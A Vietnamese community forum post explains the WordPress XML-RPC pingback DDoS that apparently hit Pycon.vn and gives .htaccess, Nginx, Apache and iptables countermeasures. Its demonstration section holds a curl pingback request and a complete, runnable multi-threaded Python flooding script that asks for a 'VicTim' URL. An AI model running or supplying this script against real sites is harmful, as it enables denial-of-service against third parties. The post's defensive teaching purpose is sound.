Python for InfoSec Use case : WPpingback + Python và cách phòng chống


  • administrators

    Trong thời gian vừa qua, hệ thống của Pycon.vn vừa bị tấn công DDOS, cách thức tấn công là sử dụng WPpingback để tấn công. Trong bài viết này, tôi xin đề cập một vấn đề về hình thức tấn công này: giải thích, demo bằng python. hướng khắc phục.
    Nguyên nhân và lý do:
    Mời các bạn xem hình sau:

    alt text

    Bằng cách sử dụng lỗi của Wordpress hacker có thể:

    • Intel gathering: thăm dò các cổng đặc biệt với phạm vi mạng nội bộ.
    • Port scanning: Quét các cổng của các máy chủ mạng nội bộ.
    • DoS attacks: Với số lượng lớn site bị lỗ hổng này có thể gây ra một cuộc tấn công DoS.
    • Router hacking: kẻ tấn công có thể cấu hình một router nội bộ trên mạng

    Đơn giản ta có thể tấn công bằng lệnh sau

    curl http://www.example.com/xmlrpc.php -d 
    	'<?xml version="1.0" encoding="iso-8859-1"?><methodCall><methodName>
    	pingback.ping</methodName><params><param><value>
    	<string>http://attacked.site.com/link_to_post
    	</string></value></param><param><value><string>
    	http://www.example.com/any_blog_post/
    	</string></value></param></params></methodCall>'
    

    Ví dụ tấn công với Python

    #!/usr/bin/python
    import sys
    import socket
    import threading
    import time
    import os
    Lock = threading.Lock()
    def main():
    		try:
    			in_file = open("list.txt","r")
    		except:
    			raw_input('You need a list.txt file to work')
    			sys.exit(0)
    		os.system("title ...:: XML::... ")
    		print '-------------------------------------------------------------------------\n'
    		num_thread = input("thread: ")
    		url = raw_input("VicTim: ")
    		for i in range(num_thread):
    			try:
    				in_line = in_file.readline()
    				Thread1(url, i+1, in_line).start()
    				in_line = in_line[:-1]
    			except:
    				pass
    		time.sleep(3)
    
    
    class Thread1(threading.Thread):
    	def __init__(self, url, number, blog):
    		self.url = url
    		self.number = number
    		self.blog = blog
    		threading.Thread.__init__(self)
    
    	def run(self):
    		Lock.acquire()
    		print 'Starting thread #%s'%self.number
    		Lock.release()
    		function_pingback = "<?xml version='1.0' encoding='iso-8859-1'?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>%s</string></value></param><param><value><string>%s</string></value></param></params></methodCall>"%(self.url, self.blog)
    		request_lenght = len(function_pingback)
    		try:
    			self.blog_cleaned = self.blog.split("?p=")[0]
    			self.blog_cleaned1 = self.blog_cleaned.split("http://")[1].split("/")[0]
    		except:
    			sys.exit(0)
    		request = "POST %s/HTTP/1.0\r\nHost: %s\r\nUser-Agent: Internal Wordpress RPC connection\r\nContent-Type: text/xml\r\nContent-Length: %s\r\n\n<?xml version=\"1.0\" encoding=\"iso-8859-1\"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>%s</string></value></param><param><value><string>%s</string></value></param></params></methodCall>\r\n\r\n"%(self.blog_cleaned, self.blog_cleaned1, request_lenght, self.url, self.blog)
    		while True:
    				time.sleep(3)
    				try:
    					s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.SOL_TCP)
    					s.connect((self.blog_cleaned1, 80))
    					s.send(request)
    					print"Thread %s | Blog %s"%(self.number, self.blog_cleaned1)
    				except:
    					ok = 0
    main()
    
    

    Với chương trình trên, bạn cần đưa vào danh sách site wp bị lỗi ở file list.txt. Sau đó chương trình sẽ hoạt động.
    Tra cứu log bạn sẽ thấy request như sau trên hệ thống:

    alt text

    Vậy cách phòng chống như thế nào? Tôi xin đề xuất một số cách như sau:

    Thêm file .htaccess ngay DocumentRoot host của ta (đa số là thư mục public_html) với nội dung như sau:
    **** trả về lỗi 403 khi truy cập file.

    # protect xmlrpc
    <IfModule mod_alias.c>
    RedirectMatch 403 /xmlrpc.php
    </IfModule>
    

    Redirect đến trang khác

    # protect xmlrpc
    <IfModule mod_alias.c>
    Redirect 301 /xmlrpc.php http://example.com/custom-page.php
    </IfModule>
    

    Cấm truy cập:

    # protect xmlrpc
    <Files xmlrpc.php>
    Order Deny,Allow
    Deny from all
    </Files>
    

    Chỉ cho một vài IP truy cập:

    # protect xmlrpc
    <Files xmlrpc.php>
    Order Deny,Allow
    Deny from all
    Allow from yourIP
    </Files>
    

    Ngoài ra bạn cũng có thể thiết lập Nginx như sau:

    if ($http_user_agent ~* "WordPress") {
    return 403;
    }
    -----------------------
    worker_processes         4;
    worker_rlimit_nofile 70000;
     
    events {
        worker_connections  2024;
    }
    

    Với Apache:

    BrowserMatchNoCase WordPress wordpress_ping
    BrowserMatchNoCase Wordpress wordpress_ping
    Order Deny,Allow
    Deny from env=wordpress_ping
    

    Một cách khác nữa bạn có thể lọc các IP đang tấn công bạn, sau đó cấm trên IPtables.

    • Lọc tất cả các IP đang tấn công:
    cat /var/log/nginx/access.log | grep "verifying pingback from" > pingback_attack.log
    
    <?php
    error_reporting(0);
     
    $reqs = file("pingback_attack.log");
     
    foreach ($reqs as $req) {
        $ip = explode(" - - ", $req);
        $ip_address[$ip[0]]++;
    }
     
    arsort($ip_address);
     
    foreach ($ip_address as $ip=>$attack_times) {
        print "# Wordpress IP. Attacked {$attack_times} times<br />";
        print "iptables -A INPUT  -s {$ip} -j DROP<br />";
    }
     
    ?>
    

    Về cơ bản thì đây là các biên pháp tình thế, với Pycon.vn thì việc tấn công như vậy ảnh hưởng khá nhiều do dung lượng một tháng có hạn. Nếu bạn gặp tình huống như của tôi và với cấu hình VPS 1GB có thể tiếp đón 5K request nếu dung lượng của bạn không giới hạn.
    pythonvietnam.info
    Chúc bạn thành công!


Hãy đăng nhập để trả lời
 

Có vẻ như bạn đã mất kết nối tới Cộng đồng Python Việt Nam, vui lòng đợi một lúc để chúng tôi thử kết nối lại.